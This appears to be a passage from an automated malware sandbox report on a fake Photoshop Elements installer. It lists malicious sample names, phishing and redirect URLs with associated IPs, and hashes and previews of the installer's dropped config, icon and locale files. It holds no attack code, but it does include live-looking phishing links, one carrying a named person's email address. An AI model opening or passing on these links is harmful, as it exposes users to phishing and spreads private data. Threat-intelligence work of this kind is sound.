	botnet.x86.elf	Get hash	malicious	Mirai, Moobot	Browse	44.245.88.8
	https://uxfol.io/p/b02d8c67/029f480a	Get hash	malicious	Unknown	Browse	99.83.217.1
	https://www.trendytechinsight.com/sx	Get hash	malicious	Unknown	Browse	52.222.236.94
	guia_evfs.vbs	Get hash	malicious	Unknown	Browse	3.5.216.51
OMNITUREUS	Pmendon.ext_Reord_Adjustment.docx	Get hash	malicious	Captcha Phish	Browse	66.235.152.156
	https://www.bing.com/ck/a?!&&p=5ceef533778c3decJmltdHM9MTcyMzQyMDgwMCZpZ3VpZD0zNjRmNjVlOC1lNTZjLTYxOWQtMTI1Ny03MTNlZTQyYTYwMTImaW5zaWQ9NTE0MA&ptn=3&ver=2&hsh=3&fclid=364f65e8-e56c-619d-1257-713ee42a6012&u=a1aHR0cHM6Ly9sZXhpbnZhcmlhbnQuY29tLw#aHR0cHM6Ly9wVGhOLmFpcnJjb2Z2YmMuY29tL1lSZVhqTi8=/#<EMAIL>	Get hash	malicious	Unknown	Browse	63.140.62.27
	EXT__Transaction Details for Martibs -462fd4a1151861ecbc00b016e69e7825.eml	Get hash	malicious	Unknown	Browse	63.140.62.17
	https://mazans.com/WEB-ID-5672849687924/zerobot?email=Francois.barbeau@staples.ca	Get hash	malicious	Captcha Phish	Browse	66.235.152.156
	https://funpresc.pe.gov.br/976823/secure-redirect/index.html#Francois.barbeau+staples.ca%20%20https://mazans.com/WEB-ID-5672849687924/zerobot?email=Francois.barbeau@staples.ca	Get hash	malicious	Captcha Phish	Browse	66.235.152.156
	https://www.mcafee.com/consumer/en-gb/ipz/checkout/2web/payment.html?pkgid=535&culture=en-gb&moguid=F09DE6FC-A0B4-46DF-829B-03590CD3D6E3&SID=cb6e5677-1e89-44ef-b1d8-c83d6250118a&csrcl2=Creative+Clicks+USA+CN&affid=1494&csrc=cj&ccoe=direct&ccoel2=am&cjevent=8df76a1da0cd11ef801e8a770a18b8f7&CID=240649&PID=101297887&ccstype=partnerlinks_8df76a1da0cd11ef801e8a770a18b8f7	Get hash	malicious	Unknown	Browse	66.235.152.156
	http://swctch.com	Get hash	malicious	Unknown	Browse	63.140.62.27
	Sampension-file-846845087.pdf	Get hash	malicious	Captcha Phish	Browse	66.235.152.221
	https://anzsupportus.web.app/#	Get hash	malicious	Unknown	Browse	63.140.62.27
	https://support-facebook.kb.help/your-facebook-account-has-been-restricted/	Get hash	malicious	HTMLPhisher	Browse	63.140.62.27

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\PhotoshopElements_2024_LS30_win64.exe	WinterRoost_Bearfoos Malware.zip	Get hash	malicious	Unknown	Browse
C:\Users\user\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp	WinterRoost_Bearfoos Malware.zip	Get hash	malicious	Unknown	Browse
C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	WinterRoost_Bearfoos Malware.zip	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\ProgramData\Adobe\Installer\Icons\PSE_24.0\Config.xml

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	537
Entropy (8bit):	5.147241145555799
Encrypted:	false
SSDEEP:	12:TMHdtTyKAywopOGmNTWe7SJJnPd+p3mv9NhuaAi4HY2:2dtTgopj2GJJnPd+p3mvXB2
MD5:	9BF27F7E06B54FC3711224323D4FA105
SHA1:	F870330D52A34C4E3F475CE117E779A510FF3501
SHA-256:	195A6EEB37951C00E8A3CD3366F0BE21AB9AA4124379D5B8EC468A9368F477FD
SHA-512:	4727BE8B5C550F3B578360512FC243CA9599112B44088066F6204B09D30238BC51100E1B45DDD549DAE0F5990A924216CC0330AAB9B036B8AB445D44306BDEC0
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<Config>...<UIConfig>....<HideVersion>true</HideVersion>....<SkipLaunch>false</SkipLaunch>....<HidePIIScreen>false</HidePIIScreen>....<ShowInstallOptions>true</ShowInstallOptions>....<CarouselType>GenericCarousel</CarouselType>....<SkipAccLaunch>true</SkipAccLaunch>....<LaunchProductDetail>.....<ProductInfo>......<SAPCode>HPSE</SAPCode>......<BaseVersion>24.0</BaseVersion> ......<Platform>win64</Platform>.....</ProductInfo>....</LaunchProductDetail>...</UIConfig>..</Config>..

C:\ProgramData\Adobe\Installer\Icons\PSE_24.0\appIcon.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	PNG image data, 88 x 84, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3054
Entropy (8bit):	7.920741815156119
Encrypted:	false
SSDEEP:	48:EetobvO+qOt7dLQDys5pZBAmoM67nXGzwONXAyP+RNONUTRbUc:EetOhlldkDy6ploN7O3NQyoON2F
MD5:	EB5FDB63686193E55826A8DD77D64412
SHA1:	977C4788ABF0F274E74281C4DA76C0C3D2F26B76
SHA-256:	1DBCFFB6B2837F5C42CC90713F01F7E7E82B45337DE78B1204F67E0AD7FA488B
SHA-512:	C3849CC0A289A36A70E7B4968BC379E118CA80D3E87AFF2477FD7FBD514B66CD67E199B17B41277A6F3C8794B88CC69532B233016BFEC2EE98D3F0C17DBBC4E8
Malicious:	false
Preview:	.PNG........IHDR...X...T......W.O....pHYs...........~.....IDATx..]kl...>k....c.6v.....HL.....,."..(U..?Z....O!R.3.....?m.T.R5.............$.B.%P.K.~?.56.1[}.{.y..;............{.;.L&Cv.5o]EDOd.{......"ED...a..I...;+.C.[A.A"...%...h_&....~.....&.....0.......2..I.5...{....9.9"..\..c.\O.g...#8..F.wPi..TT..G.#9.8.\|.[....vRq.v`2......Q..i.5.#.K.,.....l.p6.+)o.@5...0..T_.]O....$a#..."...z8.g.k.X5.@...0....8....b...}....q.j.,.>8TRjx...e.?.6.N.t..qO1..MD..l...r.j.Ozh...4.........T.f.........^.+$A..hU...}.).........f..i o:...E.,....[6Q.8L..Lt.....,6....*o._.m..{P...,.$fG/S8.`..........O..u.NP....Tk.^..q=..M]:mz...>....&]........\|zL...(.>..5To.M......Y....P.............P>$...a_.....Xu! 0...aY..Stc...y@....8L..&..\..#Q....w....ZaCWF... ...B.....Vw.....%_..`#a..^.%....>[!.X.!oB.;.F.6s.".?=)........6.B.g.R..B..N...4@.FO......Z.!,.B.I4.........&k....A.....;!...J.}%...'T~..9E...o..+.J..?...g..R....... ....Q......c....z..F.B...Za.FN.Z..+X(".d.

C:\ProgramData\Adobe\Installer\Icons\PSE_24.0\appIcon2x.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	PNG image data, 176 x 168, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	6367
Entropy (8bit):	7.956445451701175
Encrypted:	false
SSDEEP:	192:h9MSclSloV7H9lto+rXTyjlWRixx1dYsxe:LtXo1H9Po+rDyjlWRiXXYv
MD5:	2152D117D6E4FDEB0510DA1FDCEAE7E3
SHA1:	ACD10C0B6653041E6CE4241DCCEF1445D12E2DB8
SHA-256:	4A95D46DAC22AA1477093EB7B5655A73C3C7152A985AB7A5148327E93309F985
SHA-512:	5A7AF9736FC3C7329FC680BBAA80FDD8D74F0D98D2422CC57C64B78A30D3C68F799F5E584CF1D6D283B6E827FC391130484C2726D59C70D97AE2D0774239AF2F
Malicious:	false
Preview:	.PNG........IHDR.............@2d.....pHYs...........~.....IDATx..m...y..o.+{.eaYb_..c.cC0.j-...VPLJbT\.......P...Kl.%}.j>......$;2.....G1...v....).0....e.e..n.?{g=wv.33..y.I.6./s...3..9.y&S,.I..\..D.?..(KD.Y.N. .a":FD...}.+.l.gr=;.hKI..R_<%.. d".W.....3H.p&...^$...hS8@...b.../..3......h{...x....b.o..W....\.".T.)>.v..........#.../."...Nn..W.8...Rr..xSd.M.+iL.a.gr=......(...[..B)D&..z......\|...[r#p...^.#.....T.)a...NTL!J....t5..T.]Lu....L..Da.n_=...%....}..>...K..cI2lM....G..u.../N..K....hj....%.\|..Jl....R."m.........3.... .5../..VY..9......./..]..g)S;..s....>...?Rrl)..T...2..2..z..%!u@...9O.53=V....Is.`@...;a.B.JJ....xAuc+...c...e..4:.l.....K.w...uZ.......45z..#..#..(QU[O.VnPv.M..Xj.\|.{..%.j......>@X...1..+......uVb.j..G7..8.....\|....K..#.....M/8>..r`wY....\|...^H.........U.[T.q.1t\|.........C...wO"L....f.....A..t...~..Z.:..5O1az!5zR`iD..~........H.....\|..{..JT.a....X.IW.\|..jj]....>...!.;1r...t..W0Y...G..L.. S]#.\<.....tg.6{....!

C:\ProgramData\Adobe\Installer\Icons\PSE_24.0\carousel\Dictionary\cs_cz\locale.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1015
Entropy (8bit):	5.284650663061944
Encrypted:	false
SSDEEP:	24:M0X5cRWm36aKQgO3lcQgj8fPJmKhxRR+SPoy1KaY4ScBhPbxZtqy3Ui:l566JQgC7gYfPRhx6SPo1/LcXNZtp
MD5:	44DB45EFBB65BAC062FB7C8B849A203D
SHA1:	00E75EA3FADB83DFC42616DEDF831F6BF8017EDC
SHA-256:	3D4D96649072E293B76A41A497B19BC48811B2C8BE9D2742255B96751BC09FEB
SHA-512:	683D31755D68816B6CD575956C2161FF92A89C4B8C6D188683E435E6C4BE5DA621FF9819DA65EFB524C1983395154DA8DAE98ED94F236A71517BF13CE519A64B
Malicious:	false
Preview:	{.. "Name": "V.ukov. lekce k aplikaci Photoshop Elements",.. "SubTitle": "Za.n.te, nau.te se z.klady a nechte se inspirovat.",.. "Operating1xWin": "Windows 7 Service Pack 1 (64bitov. verze) (minim.ln. po.adavek)",.. "OperatingSystemMac": "Mac OS 10.12 (minim.ln. po.adavek)",.. "Memory": "Instalace aplikace vy.aduje alespo. 4 GB pam.ti RAM",.. "TextSlide1": "Sjedno.te barvu a.t.n s.jinou fotografi. nebo vyu.ijte p.ednastaven..",.. "TextSlide2": "Vytvo.te stylizovan. text za p.r sekund.",.. "TextSlide3": "Vytv..ejte a sd.lejte foto p.sma ve form.tu MP4.",.. "TextSlide4": "Jedn.m kliknut.m vyb.rejte oblohu nebo pozad.. ",.. "TextSlide5": "Nov., osv..en. podoba - se sv.tl.mi a tmav.mi re.imy.",.. "TextSlide6": "Plus",.. "TextSlide7": "Panel Rychl. akce pro .pravy jedn.m kliknut.m",.. "TextSlide8": "Integrace slu.by Adobe Stock",.. "TextSlide9": "Aktualizace webov. a.mobiln. verze ",.. "TextSlide10": "(betaverze pouze v.an

C:\ProgramData\Adobe\Installer\Icons\PSE_24.0\carousel\Dictionary\de_de\locale.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	946
Entropy (8bit):	4.953889317998113
Encrypted:	false
SSDEEP:	24:ARWqWN36awP3lc90XpYn9VVRndMMAEBzSKhm5tG9kx:vX6hfyXn9523GI5tV
MD5:	1FBC842F9A1E6F76E6ACF661816FE62E
SHA1:	D8B0EC6941246B4B423C1A15467EFBCAEC8121A7
SHA-256:	5D6ABD25084CBF6F04D54C0164E5E0B3F89D969A91E2E850C7DAE77588E571B8
SHA-512:	58A0A04E76B0D0F35EAA01B03F37DFBBEDD60279FFCCB26CC4FD34F6562DD8ECA8CF1891578861A06C393AA82A5E41537618D6598E4080264FBB1B4C7B024170
Malicious:	false
Preview:	{.. "Name": "Photoshop Elements . Tutorials",.. "SubTitle": "Erste Schritte, Grundlagen, Inspirationen.",.. "Operating1xWin": "Windows 7 Service Pack 1 (64-Bit) (mindestens erforderlich)",.. "OperatingSystemMac": "Mac OS 10.12 (mindestens erforderlich)",.. "Memory": "Sie ben.tigen mindestens 4 GB RAM, um die Anwendung zu installieren",.. "TextSlide1": "An Farbe und Ton eines anderen Fotos anpassen oder Vorgaben nutzen.",.. "TextSlide2": "Stilisierten Text in Sekundenschnelle erstellen.",.. "TextSlide3": "MP4-Foto-Reel erstellen und teilen.",.. "TextSlide4": "Einen Himmel oder Hintergrund per Mausklick ausw.hlen.",.. "TextSlide5": "Neuer, frischer Look . mit Hell- und Dunkel-Modi.",.. "TextSlide6": "Plus",.. "TextSlide7": "Schnellaktionen zur kinderleichten Bearbeitung",.. "TextSlide8": "Integration mit Adobe Stock",.. "TextSlide9": "Web- und Mobil-Updates ",.. "TextSlide10": "(Beta nur in englischer Sprache)"..}

C:\ProgramData\Adobe\Installer\Icons\PSE_24.0\carousel\Dictionary\en_US\locale.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	835
Entropy (8bit):	5.02637898118712
Encrypted:	false
SSDEEP:	24:RMRWsRVg6aE3lchllo8ElVwsa5kHgN7FYtQ:RDso6vEWRl6RyANh
MD5:	BA0A234966CC8F97101F456C96AC4632
SHA1:	8D00C13D7EF727210996BAD946F763B9FDB69FB0
SHA-256:	168D3D6C0C91C0850865733EB244760F6BB3DE0902395A443AFC44B02592A048
SHA-512:	391F67878830E4C907EEB5A387B94E411A9862559677264AC18A19A36840035520DE7E40B5BEE041483C1AC6B66D3ABDD389E7502C423D6FC701AB2088580D6E
Malicious:	false
Preview:	{..."Name":."Photoshop Elements tutorials",..."SubTitle":."Get started, get the essentials, get inspired.",..."Operating1xWin": "Windows 7 Service Pack 1 (64-bit) (Minimum required)",.. "OperatingSystemMac": "Mac OS 10.12 (Minimum required)",.. "Memory": "You need minimum 4Gb RAM to install the application",..."TextSlide1": "Match the color & tone from another photo or use presets.",..."TextSlide2": "Create stylized text in seconds.",..."TextSlide3": "Create & share MP4 Photo Reels.",..."TextSlide4": "One-click to select a sky or background.",..."TextSlide5": "New refreshed look . with light and dark modes.",..."TextSlide6": "Plus",..."TextSlide7": "Quick Actions panel for one-click edits",..."TextSlide8": "Adobe Stock integration",..."TextSlide9": "Web & mobile updates ",..."TextSlide10": "(English-only beta)"..}..

C:\ProgramData\Adobe\Installer\Icons\PSE_24.0\carousel\Dictionary\es_es\locale.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	970
Entropy (8bit):	4.889772694170443
Encrypted:	false
SSDEEP:	24:ycRW05836yd3lcsRmz42/gcA69PAHxZDx8lHntBKvsI:qYY6evB2/GWlHntBAsI
MD5:	6D77FA7C087128F0DDACB5D1C86C95E2
SHA1:	668E0CA6D419FA09A4DB81BC8469BAF686835A46
SHA-256:	320A7B8CD564064EC11925C96F0F323B19FFC82440439C4B87ABFF59A658F1E5
SHA-512:	2F66150B342F41F2968B44001EE53F6457081DD58A715DDF68DFFAE3B5213643AA7BB6435E7DFDAB518533EFDD0A407412B8DF9948A7CAAB14A34BE6C6377CDC
Malicious:	false
Preview:	{.. "Name": "Tutoriales de Photoshop Elements",.. "SubTitle": "Empiece, descubra los fundamentos y encuentre inspiraci.n.",.. "Operating1xWin": "Windows 7 con Service Pack 1 (64 bits) (m.nimo requerido)",.. "OperatingSystemMac": "Mac OS 10.12 (m.nimo requerido)",.. "Memory": "Se necesita un m.nimo de 4.GB de RAM para instalar la aplicaci.n",.. "TextSlide1": "Combine el color y el tono de otra foto, o bien utilice ajustes preestablecidos.",.. "TextSlide2": "Cree un texto estilizado en segundos.",.. "TextSlide3": "Cree y comparta reels de fotos en MP4.",.. "TextSlide4": "Haga clic una vez para seleccionar un cielo o fondo.",.. "TextSlide5": "Nuevo estilo renovado con modos claro y oscuro.",.. "TextSlide6": "M.s",.. "TextSlide7": "Panel Acciones r.pidas para realizar ediciones con un solo clic",.. "TextSlide8": "Integraci.n con Adobe Stock",.. "TextSlide9": "Actualizaciones web y m.viles ",.. "TextSlide10": "(Beta solo en ingl.s)"..}

C:\ProgramData\Adobe\Installer\Icons\PSE_24.0\carousel\Dictionary\fr_fr\locale.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1027
Entropy (8bit):	5.00331328127714
Encrypted:	false
SSDEEP:	24:x6cRWqKJ36hxMM3lQCidzBjNR2NPjyFBWdsBXJKAvE1uoXutXUB9Rn:gqKB6hxt+B1jNR2NVdsBZrvNyutkpn
MD5:	CC854F1036F7591BF00E2AFEB465F659
SHA1:	60457317A8F7F241C3F94595C13E37F4A8DC3352
SHA-256:	67A1C6394300FB01B4DF5C8D1ECCA0AB026797BD2C1BEB09084BEA356DF89754
SHA-512:	8A26F56E1E6861C1CFCF07F8349AD0F32FC60D962E5433997B7F6F8B7D361F172A8CDB9717297EC91ECD7989A88B1A93D696382BA5852723528DBACD50F70D8E
Malicious:	false
Preview:	{.. "Name": "Tutoriels Photoshop Elements",.. "SubTitle": "Lancez-vous, saisissez l'essentiel, soyez inspir..",.. "Operating1xWin": "Windows.7.Service.Pack.1 (64.bits) (minimum requis)",.. "OperatingSystemMac": "Mac.OS.10.12 (minimum requis)",.. "Memory": "Vous avez besoin de 4.Go de m.moire vive minimum pour installer l'application.",.. "TextSlide1": "Faites correspondre la couleur et le ton d.une autre photo ou utilisez des param.tres pr.d.finis.",.. "TextSlide2": "Cr.ez du texte stylis. en quelques secondes.",.. "TextSlide3": "Cr.ez et partagez des Bobines de photos MP4.",.. "TextSlide4": "Un seul clic pour s.lectionner un ciel ou un arri.re-plan.",.. "TextSlide5": "Nouveau look revisit. avec les modes clair et fonc..",.. "TextSlide6": "Plus",.. "TextSlide7": "Panneau Actions rapides pour les modifications en un clic",.. "TextSlide8": "Int.gration dans Adobe Stock",.. "TextSlide9": "Mises . jour Web et mobiles ",.. "TextSlide10": "(Version beta

C:\ProgramData\Adobe\Installer\Icons\PSE_24.0\carousel\Dictionary\it_it\locale.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	970
Entropy (8bit):	4.801728131561229
Encrypted:	false
SSDEEP:	24:Ym3cRWV9z36aMR13lcqR+8WI69y/2TEeeQIMcwmx4LeJqASUtXIH:JDP61FBvWI693IA5ASUtXo
MD5:	37879C31149C21FB5DF9DAADCD67E909
SHA1:	20E314739D229E4B5DA2AF435BB0F251C06DB0C9
SHA-256:	17AC21F4AD75970E29C644CAC412483B4AB3B5611807E6C963FB72189AD9989B
SHA-512:	CF29AC25D8DE0E0AD658B02AF25A0B88CE643F26679BE2B3F2E944E4B558FACBA94804CC88C32F550395708D0BDA003AD09FCBBFA2A9FA8FB70820F7775E0113
Malicious:	false
Preview:	{.. "Name": "Esercitazioni di Photoshop Elements",.. "SubTitle": "Iniziate, raccogliete tutto ci. che vi serve e lasciatevi ispirare.",.. "Operating1xWin": "Windows 7 Service Pack 1 (64 bit) (versione minima richiesta)",.. "OperatingSystemMac": "Mac OS 10.12 (versione minima richiesta)",.. "Memory": "Sono necessari almeno 4 Gb di RAM per installare l'applicazione",.. "TextSlide1": "Abbina il colore e il tono di un'altra foto o utilizza le preimpostazioni.",.. "TextSlide2": "Crea testo stilizzato in pochi secondi.",.. "TextSlide3": "Crea e condivi i reel di foto in MP4.",.. "TextSlide4": "Fai clic per selezionare un cielo o uno sfondo.",.. "TextSlide5": "Look rinnovato, con modalit. luce e buio.",.. "TextSlide6": "Pi.",.. "TextSlide7": "Pannello Azioni rapide per modifiche con un clic",.. "TextSlide8": "Integrazione con Adobe stock",.. "TextSlide9": "Aggiornamenti Web e per dispositivi mobili ",.. "TextSlide10": "(Beta solo in inglese)"..}

C:\ProgramData\Adobe\Installer\Icons\PSE_24.0\carousel\Dictionary\ja_jp\locale.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1127
Entropy (8bit):	5.56961836864283
Encrypted:	false
SSDEEP:	24:ARWOlFK2G5e36asK3lc32QV6XGS8kDqbzEzxQciMCj7EOL0uo8fJNoNYnXe8r:va0h5y65mA2N8hWu5pzxWNYnuo
MD5:	C31570E7CCB0FC3A4236B98ABBD0CC08
SHA1:	33AFEC87102C157C7A7B80D0058F40F591E0BBC3
SHA-256:	E645B23E361162F77EDB93AC9028F094C8CC316B2B9AAB88EA4690D43F554BFE
SHA-512:	6B3A2FF37B7EE09BB5FA55DE7F072647DE4F3A54E003C4D08860AB4335E3E2EBB0AB9D483AA853A77D46B2C65F02FCD7CBB5FD12B98C9A88F976D5E64759C035
Malicious:	false
Preview:	{.. "Name": "Photoshop Elements .......",.. "SubTitle": "........................",.. "Operating1xWin": "Windows 7 Service Pack 1 (64-bit) (..)",.. "OperatingSystemMac": "Mac OS 10.12 (..)",.. "Memory": "...................... 4GB . RAM ......",.. "TextSlide1": "................................",.. "TextSlide2": "....................",.. "TextSlide3": "MP4 .................",.. "TextSlide4": "1 ....................",.. "TextSlide5": "........................",.. "TextSlide6": "...",.. "TextSlide7": "..............................",.. "TextSlide8": "Adobe Stock

C:\ProgramData\Adobe\Installer\Icons\PSE_24.0\carousel\Dictionary\ko_kr\locale.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	551
Entropy (8bit):	5.719924059723855
Encrypted:	false
SSDEEP:	12:r4DRWzAwv/WgQYATnJPO4T3bu1BJGvdhEU3lcLD9gT6XOqjYkS9OTKHHVy1JZR:ARWswl8nVO+36UFKU3lcLM6XOqkpAU1O
MD5:	079C7C099407A71437825C7DF92A92B1
SHA1:	D8195B86E2FC055F86C6EBDF7BBED07A62157A1C
SHA-256:	7CBC5BC481D33E921C57652DA070E5536A2292169C8C000548BC9F3B5367B9A6
SHA-512:	D7E5FF122D86FDB82A4E939E87F0FFF794010A4C5F79FCE0DC0CCB59E9392B5DA7C52B1B99F2A33FA45998E58936A15B900F4AF385DF9684BC419E626D2634D7
Malicious:	false
Preview:	{.. "Name": "Photoshop Elements ...",.. "SubTitle": ".... .. ... ... .....",.. "Operating1xWin": "Windows 7 ... . 1(64..)(.. .. ..)",.. "OperatingSystemMac": "Mac OS 10.12(.. .. ..)",.. "Memory": "....... ..... .. 4GB. RAM. ......",.. "TextSlide1": "._Instantly turn photos into works of art.",.. "TextSlide2": "._Create not-so-still photos with fun Moving Overlays.",.. "TextSlide3": "._Warp photos to fit any shape."..}

C:\ProgramData\Adobe\Installer\Icons\PSE_24.0\carousel\Dictionary\nl_nl\locale.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	950
Entropy (8bit):	4.827268491011639
Encrypted:	false
SSDEEP:	24:IPwcRWDMH36aw3lcXISxODG87cU8XCDUEHEmtclaRAyJK:IUDw6NpSxqfDHvt6yJK
MD5:	12B2FAAEC8A5524181967996AE808234
SHA1:	45DE57CF1B5C0CD4C7FA4CFF9A2CEF54E3F71B72
SHA-256:	06C55DFBC16F965839945B5EF066FE98F05EC8146D5B317D22C7D83D6976D806
SHA-512:	C04D15AB32E4F0DE73E124E3A9CD10AEE73C132ACEA29AA343A8DAF5A9680A63B8A5675294880A7447269653F6339D9F215CC311755B3045659A165EF4777B75
Malicious:	false
Preview:	{.. "Name": "Zelfstudies voor Photoshop Elements",.. "SubTitle": "Ga aan de slag met handige tools en laat u inspireren.",.. "Operating1xWin": "Windows 7 Service Pack 1 (64-bits) (minimaal vereist)",.. "OperatingSystemMac": "Mac OS 10.12 (minimaal vereist)",.. "Memory": "U hebt minimaal 4 GB RAM nodig om de toepassing te installeren",.. "TextSlide1": "Stem kleur en tint af op een andere foto of gebruik voorinstellingen.",.. "TextSlide2": "Maak in een oogwenk gestileerde tekst.",.. "TextSlide3": "Maak en deel MP4-reels met foto's.",.. "TextSlide4": "Selecteer de lucht of achtergrond met ..n klik.",.. "TextSlide5": "Nieuwe, verbeterde look met lichte en donkere modus.",.. "TextSlide6": "Plus",.. "TextSlide7": "Snelle handelingen voor bewerkingen met ..n muisklik",.. "TextSlide8": "Integratie met Adobe Stock",.. "TextSlide9": "Updates voor internet en mobiele apparaten ",.. "TextSlide10": "(B.ta, alleen Engelstalig)"..}

C:\ProgramData\Adobe\Installer\Icons\PSE_24.0\carousel\Dictionary\pl_pl\locale.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1005
Entropy (8bit):	5.197252482745693
Encrypted:	false
SSDEEP:	24:+cRW8l36cr3lctnThcoq19aoy7VyMEnrzyxYqD19t7P6f:GC6WC2zao+VyByYqx9ts
MD5:	A2BC40676845B4DDAFEAAB0523FF3671
SHA1:	AD321F26CEC3D9F2E6812AB525AB62403A145D6E
SHA-256:	55FC0609D045D6691129E51B196C71C3D4D98FC77A4DFE8FC6D62DB75C7B1680
SHA-512:	CD0D8E9374F96FECE5673E7F6D9C259329A991F0CE46C90AFC41A51A937853ABAB71E64AC110FDE3977B7638484E1CC204F08D33A779E067DB637F1B54288EA9
Malicious:	false
Preview:	{.. "Name": "Samouczki programu Photoshop Elements",.. "SubTitle": "Rozpocznij, poznaj wszystkie podstawy, zainspiruj si..",.. "Operating1xWin": "Windows 7 z dodatkiem Service Pack 1 (64-bitowy) (minimalna wymagana wersja)",.. "OperatingSystemMac": "Mac OS 10.12 (minimalna wymagana wersja)",.. "Memory": "Do instalacji aplikacji wymagane s. co najmniej 4 GB pami.ci RAM.",.. "TextSlide1": "Dopasuj kolor i odcie. zdj.cia lub u.yj ustawie. predefiniowanych.",.. "TextSlide2": "Utw.rz tekst stylizowany w kilka sekund.",.. "TextSlide3": "Tw.rz i udost.pniaj rolki fotograficzne MP4.",.. "TextSlide4": "Kliknij, aby wybra. niebo lub t.o.",.. "TextSlide5": "Nowy, od.wie.ony wygl.d - z trybem jasnym i ciemnym.",.. "TextSlide6": "Plus",.. "TextSlide7": "Panel szybkich operacji do b.yskawicznych edycji",.. "TextSlide8": "Integracja z us.ug. Adobe Stock",.. "TextSlide9": "Aktualizacje internetowe i.mobilne ",.. "TextSlide10": "(Wersja Beta tylko w.j.zyku angielskim

C:\ProgramData\Adobe\Installer\Icons\PSE_24.0\carousel\Dictionary\ru_ru\locale.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1335
Entropy (8bit):	4.708899028432502
Encrypted:	false
SSDEEP:	24:vNcRW3tDc36llsSeJ3lccSeFJGvlqkEZmAhWaTT13hWaTT12hWaTT1FagiXF:V3R46MdZytqkSW+xW+EW+ZCF
MD5:	C08F7659EFCC7319CEA404C411852D7C
SHA1:	960E5E87D616CE32C02101DD95E31A1B9AA5CA01
SHA-256:	0A2B57E247570FCD544EE2D76BB2520824DA5BEC5CC41C4B4082354A8F67087A
SHA-512:	92CEE63DFF79C0F6875ED2B74328995C8A88F473E1E4A412DEF3EA5F6601B2A5EF424D4D1FA45F0E59083A405771A74C7B282AF6879C12E48F62E6AF4BB19781
Malicious:	false
Preview:	{.. "Name": "........... .. Photoshop Elements",.. "SubTitle": ".......... ......, ......... ....., ......... ............",.. "Operating1xWin": "Windows 7 . ....... .......... SP1 (64-.........) (.......... .......... ......)",.. "OperatingSystemMac": "Mac OS 10.12 (.......... .......... ......)",.. "Memory": "... ......... .......... ......... ....... 4... ...",.. "TextSlide1": "..... ........ .......... ........... .......... . .......... GIF-............",.. "TextSlide2": "........... .......... ....... ....... . .......... ........ .......",.. "TextSlide4": "........... .......... ....... ....... . .......... ......

C:\ProgramData\Adobe\Installer\Icons\PSE_24.0\carousel\Dictionary\sv_se\locale.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	966
Entropy (8bit):	5.007707161623855
Encrypted:	false
SSDEEP:	24:UcRWUuN36oJ3l4Kh+sW92zJZ2KAaceGyBL2Jgsmks/NhGQsuUbz9k:wUud6ObhU2zAcGyBOo/NhHsU
MD5:	9A386BDD3D45947475EA973AA97A29FB
SHA1:	F5DA3004442F42B7A59512E35414E6F4758F0634
SHA-256:	7EC82E6599FA6E89DEE2837ECF6544C9062D2133D2D265F181C2710CC22E9129
SHA-512:	796F9078350951EB62CF203E655F9170A1F02DFD9A16E327764955C27437E872E7C2B7612C0817CB4BA52051A0DC4E0B71925DDB0F1E10A81D1E5A41AE645A7B
Malicious:	false
